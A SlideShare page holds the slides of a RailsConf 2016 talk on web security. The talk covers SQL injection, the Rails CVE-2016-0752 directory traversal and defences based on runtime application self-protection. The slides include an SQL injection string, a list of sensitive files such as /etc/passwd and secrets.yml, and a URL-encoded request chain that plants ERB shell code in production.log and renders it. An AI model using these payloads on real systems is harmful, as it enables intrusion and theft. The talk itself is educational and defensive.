SlideShare a Scribd company logo
State of Web Security
Mike Milner
CTO @immunio
RailsConf 2016
State of Web Security RailsConf 2016
Today
Checked in to my flight
Read the News
Paid for Parking
Coffee with the Starbucks app
Boarding Pass Slack
Gmail
Review some Pull Requests Uber
RailsConf Schedule
Trello
Banking
Facebook
Twitter
Ashley Madison
Manage your
corporate network
All On the Web
All On the Web
Who is protecting
my data?
How?
Framework up to Date?
Libraries Patched?
Code Reviewed for Security?
Monitoring for New CVEs?
Reviewed External libraries?
Static Analysis?
Fixed Insecure Defaults?
Security is Hard
But it can be
SOOO
Interesting :)
Three Types of

Vulnerable Code
• Code written by you
• Code written by someone else
• Code not written
SQL Injection
• First publicly discussed in 1998. Well understood.
• Largely fixed in all web apps. Right?
"SELECT * FROM users WHERE name = '" + userName + "';"
userName = “' OR 1=1 --“
SELECT * FROM users WHERE name = ‘’ OR 1=1 --‘;
Lost 100k customers and
£60m
157,000 had details stolen
Names, email addresses, passwords, and home addresses
of 4,833,678 parents
200,000 kids
Email addresses,
phone numbers
and dates of birth
656,723
customers
Beer
Vouchers
ActiveRecord
http://rails-sqli.org/
CVE-2016-0752
“Possible Information Leak Vulnerability”
Credited to John Poulin at nVisium
https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/
https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00
Directory Traversal
def show
render params[:template]
end
What if we try: /etc/passwd ?
Image credit: https://nvisium.com/blog
Directory Traversal
• /etc/passwd
• RAILS_ROOT/config/
secrets.yml
• RAILS_ROOT/config/initializers/
secret_token.rb
• SSL private keys
• /proc/self/environ
• /proc/<pid>/environ
Yikes!
Can We Execute Code?
“Helpful” default behaviour in Rails
Unknown extension defaults to ERB template
<%= `whoami` %>
Similar technique to CVE-2014-0130
as described by Jeff Jarmoc @ Matasano
http://matasano.com/research/AnatomyOfRailsVuln-CVE-2014-0130.pdf
Basics
Write code into file
Ask Rails to execute it
Getting Code into a File
Rails does this for us!
/users/page?mycode=1234
Written to production.log
/users/page?mycode=%3c%25%3d%20%60%69%64%60%20%25%3e
<%= `whoami` %>
Putting it Together
/users/../../../production.log?
mycode=<%= `whoami` %>
/users/%2e%2e%2f%2e%2e%2f%2e%2e%2flog%2fproduction%2elog?
mycode=%3c%25%3d%20%60%69%64%60%20%25%3e
Website Ransomware
Credential Stuffing
State of Web Security RailsConf 2016
Warranty Fraud
How to protect?
• Educate Developers
• OWASP Top 10
• Stay up-to-date
• Static Analysis
• Manual Code Review
• Pen-test
Active Defence
Signature Based
Hard to maintain, Easy to bypass
WAF?
Traditional Deployment
Deployments Today
RASP
Runtime Application Self Protection
Active Defence
What was the actual exploit?
A file was read that shouldn’t be read
Shell commands were executed
Move INSIDE the app
and we can see these directly
Protect against the exploit
• Uploaded images should not be executed as code
• Don’t load configuration from /tmp
• My app does NOT need to read or write anywhere
inside /etc
• In fact, the app shouldn’t be writing anywhere except /
tmp and /var/log
• And especially not be reading from /etc/ssl or
~/.ssh/id_rsa
Track code that opens files
Protect against the exploit
• Most apps don’t need to execute shell commands.
FENCE IT OFF!
• If you do need shell, track the code that runs commands.
• The command that minifies my CSS should not be
downloading and executing a perl script!
• The command that sends an invoice should not be
opening a reverse shell to Russia!
• And block shell access from everywhere else.
Track shell code execution
Inside the App
Much more accurate Fewer false positives.
• SQL Queries for SQL Injection
• Template rendering for Cross Site Scripting
• Authentication attacks and Brute Forcing
• Cross Site Request Forgery
Inside the App
Better Understanding of Vulnerabilities
• Visibility down to the line of code.
• See how bad input affects each template
interpolation.
• Monitor what libraries are installed and how they’re
used.
• Report gem versions that have known vulnerabilities.
Harden the App
SQL Injection with RASP
• SELECT * FROM users WHERE name = ‘Mike’
• SELECT * FROM users WHERE name = ‘’ OR 1=1 --‘;
• "SELECT * FROM users WHERE name = '" + userName + "';"
Rate Limiting
• Count volume of events in a sliding time window
• Take action when the threshold is exceeded
State of Web Security RailsConf 2016
Three Types of

Vulnerable Code
• Code written by you
• Code written by someone else
• Code not written
State of Web Security RailsConf 2016
Thank You!
Mike Milner
CTO @immunio
RailsConf 2016
www.immun.io

More Related Content

What's hot (20)

ODP
Csrf not all defenses are created equal
Ari Elias-Bachrach
 
PPTX
Owasp2013 johannesullrich
drewz lin
 
PDF
Owasp advanced mobile-application-code-review-techniques-v0.2
drewz lin
 
PDF
WordPress Troubleshooting Hacks.pdf
Arthur Kasirye
 
PPT
DEFCON 17 Presentation: CSRF - Yeah, It Still Works
Russ McRee
 
PPTX
Case Study of Django: Web Frameworks that are Secure by Default
Mohammed ALDOUB
 
PPTX
Introduction to CSRF Attacks & Defense
Surya Subhash
 
PPTX
Understanding Cross-site Request Forgery
Daniel Miessler
 
PPTX
A7 Missing Function Level Access Control
stevil1224
 
PPTX
Web security-–-everything-we-know-is-wrong-eoin-keary
drewz lin
 
PPTX
Security testing for web developers
matthewhughes
 
PPTX
2 . web app s canners
Rashid Khatmey
 
PPTX
Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Ajin Abraham
 
PPTX
Content Management System Security
Samvel Gevorgyan
 
PDF
Understanding The Known: OWASP A9 Using Components With Known Vulnerabilities
Anant Shrivastava
 
PDF
Nullcon Goa 2016 - Automated Mobile Application Security Testing with Mobile ...
Ajin Abraham
 
PDF
AtlasCamp 2010: Securing your Plugin - Penny Wyatt
Atlassian
 
PDF
REST API Pentester's perspective
SecuRing
 
PPTX
3. backup file artifacts - mazin ahmed
Rashid Khatmey
 
PDF
Android mobile app security offensive security workshop
Abhinav Sejpal
 
Csrf not all defenses are created equal
Ari Elias-Bachrach
 
Owasp2013 johannesullrich
drewz lin
 
Owasp advanced mobile-application-code-review-techniques-v0.2
drewz lin
 
WordPress Troubleshooting Hacks.pdf
Arthur Kasirye
 
DEFCON 17 Presentation: CSRF - Yeah, It Still Works
Russ McRee
 
Case Study of Django: Web Frameworks that are Secure by Default
Mohammed ALDOUB
 
Introduction to CSRF Attacks & Defense
Surya Subhash
 
Understanding Cross-site Request Forgery
Daniel Miessler
 
A7 Missing Function Level Access Control
stevil1224
 
Web security-–-everything-we-know-is-wrong-eoin-keary
drewz lin
 
Security testing for web developers
matthewhughes
 
2 . web app s canners
Rashid Khatmey
 
Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Ajin Abraham
 
Content Management System Security
Samvel Gevorgyan
 
Understanding The Known: OWASP A9 Using Components With Known Vulnerabilities
Anant Shrivastava
 
Nullcon Goa 2016 - Automated Mobile Application Security Testing with Mobile ...
Ajin Abraham
 
AtlasCamp 2010: Securing your Plugin - Penny Wyatt
Atlassian
 
REST API Pentester's perspective
SecuRing
 
3. backup file artifacts - mazin ahmed
Rashid Khatmey
 
Android mobile app security offensive security workshop
Abhinav Sejpal
 

Similar to State of Web Security RailsConf 2016 (20)

PDF
Zen and the art of Security Testing
TEST Huddle
 
PDF
iOS Application Security.pdf
Ravi Aggarwal
 
PPT
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
PPT
Starwest 2008
Caleb Sima
 
PDF
Top 10 web application security risks akash mahajan
Akash Mahajan
 
PPTX
Managing Technical Debt .pptx
mageerauldnzsti
 
PDF
Secure coding guidelines
Zakaria SMAHI
 
PDF
Become a Security Ninja
Paul Gilzow
 
PPTX
Force.com security
Vijay Naik
 
PDF
API SECURITY
Tubagus Rizky Dharmawan
 
PPT
Django (Web Applications that are Secure by Default)
Kishor Kumar
 
PPTX
So Your Company Hired A Pentester
NorthBayWeb
 
PPTX
Thoughts on Defensive Development for Sitecore
PINT Inc
 
PPTX
[2.1] Web application Security Trends - Omar Ganiev
OWASP Russia
 
PPTX
Owasp web application security trends
beched
 
PPTX
[OPD 2019] Inter-application vulnerabilities
OWASP
 
PPT
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
IBM Security
 
PPTX
How websites are attacked
Mykonos Software
 
PPT
Developing Secure Applications and Defending Against Common Attacks
PayPalX Developer Network
 
PPTX
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
CODE BLUE
 
Zen and the art of Security Testing
TEST Huddle
 
iOS Application Security.pdf
Ravi Aggarwal
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
Starwest 2008
Caleb Sima
 
Top 10 web application security risks akash mahajan
Akash Mahajan
 
Managing Technical Debt .pptx
mageerauldnzsti
 
Secure coding guidelines
Zakaria SMAHI
 
Become a Security Ninja
Paul Gilzow
 
Force.com security
Vijay Naik
 
Django (Web Applications that are Secure by Default)
Kishor Kumar
 
So Your Company Hired A Pentester
NorthBayWeb
 
Thoughts on Defensive Development for Sitecore
PINT Inc
 
[2.1] Web application Security Trends - Omar Ganiev
OWASP Russia
 
Owasp web application security trends
beched
 
[OPD 2019] Inter-application vulnerabilities
OWASP
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
IBM Security
 
How websites are attacked
Mykonos Software
 
Developing Secure Applications and Defending Against Common Attacks
PayPalX Developer Network
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
CODE BLUE
 
Ad

Recently uploaded (20)

PPTX
L1A Season 1 Guide made by A hegy Eng Grammar fixed
toszolder91
 
PPT
introduction to networking with basics coverage
RamananMuthukrishnan
 
PPTX
PE introd.pptxfrgfgfdgfdgfgrtretrt44t444
nepmithibai2024
 
PPT
Agilent Optoelectronic Solutions for Mobile Application
andreashenniger2
 
PDF
The-Hidden-Dangers-of-Skipping-Penetration-Testing.pdf.pdf
naksh4thra
 
PPTX
一比一原版(SUNY-Albany毕业证)纽约州立大学奥尔巴尼分校毕业证如何办理
Taqyea
 
PPTX
Softuni - Psychology of entrepreneurship
Kalin Karakehayov
 
PDF
Cleaning up your RPKI invalids, presented at PacNOG 35
APNIC
 
PDF
AI_MOD_1.pdf artificial intelligence notes
shreyarrce
 
PDF
Apple_Environmental_Progress_Report_2025.pdf
yiukwong
 
PDF
Azure_DevOps introduction for CI/CD and Agile
henrymails
 
PPTX
internet básico presentacion es una red global
70965857
 
PPTX
Optimization_Techniques_ML_Presentation.pptx
farispalayi
 
PPTX
ONLINE BIRTH CERTIFICATE APPLICATION SYSYTEM PPT.pptx
ShyamasreeDutta
 
PPTX
PM200.pptxghjgfhjghjghjghjghjghjghjghjghjghj
breadpaan921
 
PDF
𝐁𝐔𝐊𝐓𝐈 𝐊𝐄𝐌𝐄𝐍𝐀𝐍𝐆𝐀𝐍 𝐊𝐈𝐏𝐄𝐑𝟒𝐃 𝐇𝐀𝐑𝐈 𝐈𝐍𝐈 𝟐𝟎𝟐𝟓
hokimamad0
 
PPTX
Lec15_Mutability Immutability-converted.pptx
khanjahanzaib1
 
PPTX
sajflsajfljsdfljslfjslfsdfas;fdsfksadfjlsdflkjslgfs;lfjlsajfl;sajfasfd.pptx
theknightme
 
PDF
Build Fast, Scale Faster: Milvus vs. Zilliz Cloud for Production-Ready AI
Zilliz
 
PPTX
L1A Season 1 ENGLISH made by A hegy fixed
toszolder91
 
L1A Season 1 Guide made by A hegy Eng Grammar fixed
toszolder91
 
introduction to networking with basics coverage
RamananMuthukrishnan
 
PE introd.pptxfrgfgfdgfdgfgrtretrt44t444
nepmithibai2024
 
Agilent Optoelectronic Solutions for Mobile Application
andreashenniger2
 
The-Hidden-Dangers-of-Skipping-Penetration-Testing.pdf.pdf
naksh4thra
 
一比一原版(SUNY-Albany毕业证)纽约州立大学奥尔巴尼分校毕业证如何办理
Taqyea
 
Softuni - Psychology of entrepreneurship
Kalin Karakehayov
 
Cleaning up your RPKI invalids, presented at PacNOG 35
APNIC
 
AI_MOD_1.pdf artificial intelligence notes
shreyarrce
 
Apple_Environmental_Progress_Report_2025.pdf
yiukwong
 
Azure_DevOps introduction for CI/CD and Agile
henrymails
 
internet básico presentacion es una red global
70965857
 
Optimization_Techniques_ML_Presentation.pptx
farispalayi
 
ONLINE BIRTH CERTIFICATE APPLICATION SYSYTEM PPT.pptx
ShyamasreeDutta
 
PM200.pptxghjgfhjghjghjghjghjghjghjghjghjghj
breadpaan921
 
𝐁𝐔𝐊𝐓𝐈 𝐊𝐄𝐌𝐄𝐍𝐀𝐍𝐆𝐀𝐍 𝐊𝐈𝐏𝐄𝐑𝟒𝐃 𝐇𝐀𝐑𝐈 𝐈𝐍𝐈 𝟐𝟎𝟐𝟓
hokimamad0
 
Lec15_Mutability Immutability-converted.pptx
khanjahanzaib1
 
sajflsajfljsdfljslfjslfsdfas;fdsfksadfjlsdflkjslgfs;lfjlsajfl;sajfasfd.pptx
theknightme
 
Build Fast, Scale Faster: Milvus vs. Zilliz Cloud for Production-Ready AI
Zilliz
 
L1A Season 1 ENGLISH made by A hegy fixed
toszolder91
 
Ad

State of Web Security RailsConf 2016

  • 1. State of Web Security Mike Milner CTO @immunio RailsConf 2016
  • 3. Today Checked in to my flight Read the News Paid for Parking Coffee with the Starbucks app Boarding Pass Slack Gmail Review some Pull Requests Uber RailsConf Schedule Trello Banking Facebook Twitter Ashley Madison Manage your corporate network
  • 5. All On the Web Who is protecting my data?
  • 6. How? Framework up to Date? Libraries Patched? Code Reviewed for Security? Monitoring for New CVEs? Reviewed External libraries? Static Analysis? Fixed Insecure Defaults?
  • 7. Security is Hard But it can be SOOO Interesting :)
  • 8. Three Types of
 Vulnerable Code • Code written by you • Code written by someone else • Code not written
  • 9. SQL Injection • First publicly discussed in 1998. Well understood. • Largely fixed in all web apps. Right? "SELECT * FROM users WHERE name = '" + userName + "';" userName = “' OR 1=1 --“ SELECT * FROM users WHERE name = ‘’ OR 1=1 --‘;
  • 10. Lost 100k customers and £60m 157,000 had details stolen
  • 11. Names, email addresses, passwords, and home addresses of 4,833,678 parents 200,000 kids
  • 12. Email addresses, phone numbers and dates of birth 656,723 customers Beer Vouchers
  • 14. CVE-2016-0752 “Possible Information Leak Vulnerability” Credited to John Poulin at nVisium https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/ https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00
  • 15. Directory Traversal def show render params[:template] end
  • 16. What if we try: /etc/passwd ? Image credit: https://nvisium.com/blog
  • 17. Directory Traversal • /etc/passwd • RAILS_ROOT/config/ secrets.yml • RAILS_ROOT/config/initializers/ secret_token.rb • SSL private keys • /proc/self/environ • /proc/<pid>/environ
  • 19. Can We Execute Code? “Helpful” default behaviour in Rails Unknown extension defaults to ERB template <%= `whoami` %> Similar technique to CVE-2014-0130 as described by Jeff Jarmoc @ Matasano http://matasano.com/research/AnatomyOfRailsVuln-CVE-2014-0130.pdf
  • 20. Basics Write code into file Ask Rails to execute it
  • 21. Getting Code into a File Rails does this for us! /users/page?mycode=1234 Written to production.log /users/page?mycode=%3c%25%3d%20%60%69%64%60%20%25%3e <%= `whoami` %>
  • 22. Putting it Together /users/../../../production.log? mycode=<%= `whoami` %> /users/%2e%2e%2f%2e%2e%2f%2e%2e%2flog%2fproduction%2elog? mycode=%3c%25%3d%20%60%69%64%60%20%25%3e
  • 27. How to protect? • Educate Developers • OWASP Top 10 • Stay up-to-date • Static Analysis • Manual Code Review • Pen-test
  • 28. Active Defence Signature Based Hard to maintain, Easy to bypass WAF?
  • 32. Active Defence What was the actual exploit? A file was read that shouldn’t be read Shell commands were executed Move INSIDE the app and we can see these directly
  • 33. Protect against the exploit • Uploaded images should not be executed as code • Don’t load configuration from /tmp • My app does NOT need to read or write anywhere inside /etc • In fact, the app shouldn’t be writing anywhere except / tmp and /var/log • And especially not be reading from /etc/ssl or ~/.ssh/id_rsa Track code that opens files
  • 34. Protect against the exploit • Most apps don’t need to execute shell commands. FENCE IT OFF! • If you do need shell, track the code that runs commands. • The command that minifies my CSS should not be downloading and executing a perl script! • The command that sends an invoice should not be opening a reverse shell to Russia! • And block shell access from everywhere else. Track shell code execution
  • 35. Inside the App Much more accurate Fewer false positives. • SQL Queries for SQL Injection • Template rendering for Cross Site Scripting • Authentication attacks and Brute Forcing • Cross Site Request Forgery
  • 36. Inside the App Better Understanding of Vulnerabilities • Visibility down to the line of code. • See how bad input affects each template interpolation. • Monitor what libraries are installed and how they’re used. • Report gem versions that have known vulnerabilities.
  • 38. SQL Injection with RASP • SELECT * FROM users WHERE name = ‘Mike’ • SELECT * FROM users WHERE name = ‘’ OR 1=1 --‘; • "SELECT * FROM users WHERE name = '" + userName + "';"
  • 39. Rate Limiting • Count volume of events in a sliding time window • Take action when the threshold is exceeded
  • 41. Three Types of
 Vulnerable Code • Code written by you • Code written by someone else • Code not written
  • 43. Thank You! Mike Milner CTO @immunio RailsConf 2016 www.immun.io